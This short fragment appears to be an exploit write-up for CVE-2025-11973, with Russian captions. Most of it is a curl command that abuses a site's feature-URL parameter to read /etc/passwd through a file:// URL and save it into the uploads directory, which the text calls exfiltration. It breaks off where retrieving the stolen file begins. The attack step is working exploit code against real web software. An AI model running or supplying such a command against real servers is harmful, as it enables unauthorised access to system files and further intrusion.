CVE-2025-11973

Триггер: чтение /etc/passwd через file:// и эксфильтрация в uploads root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" Извлечение эксфильтрированного...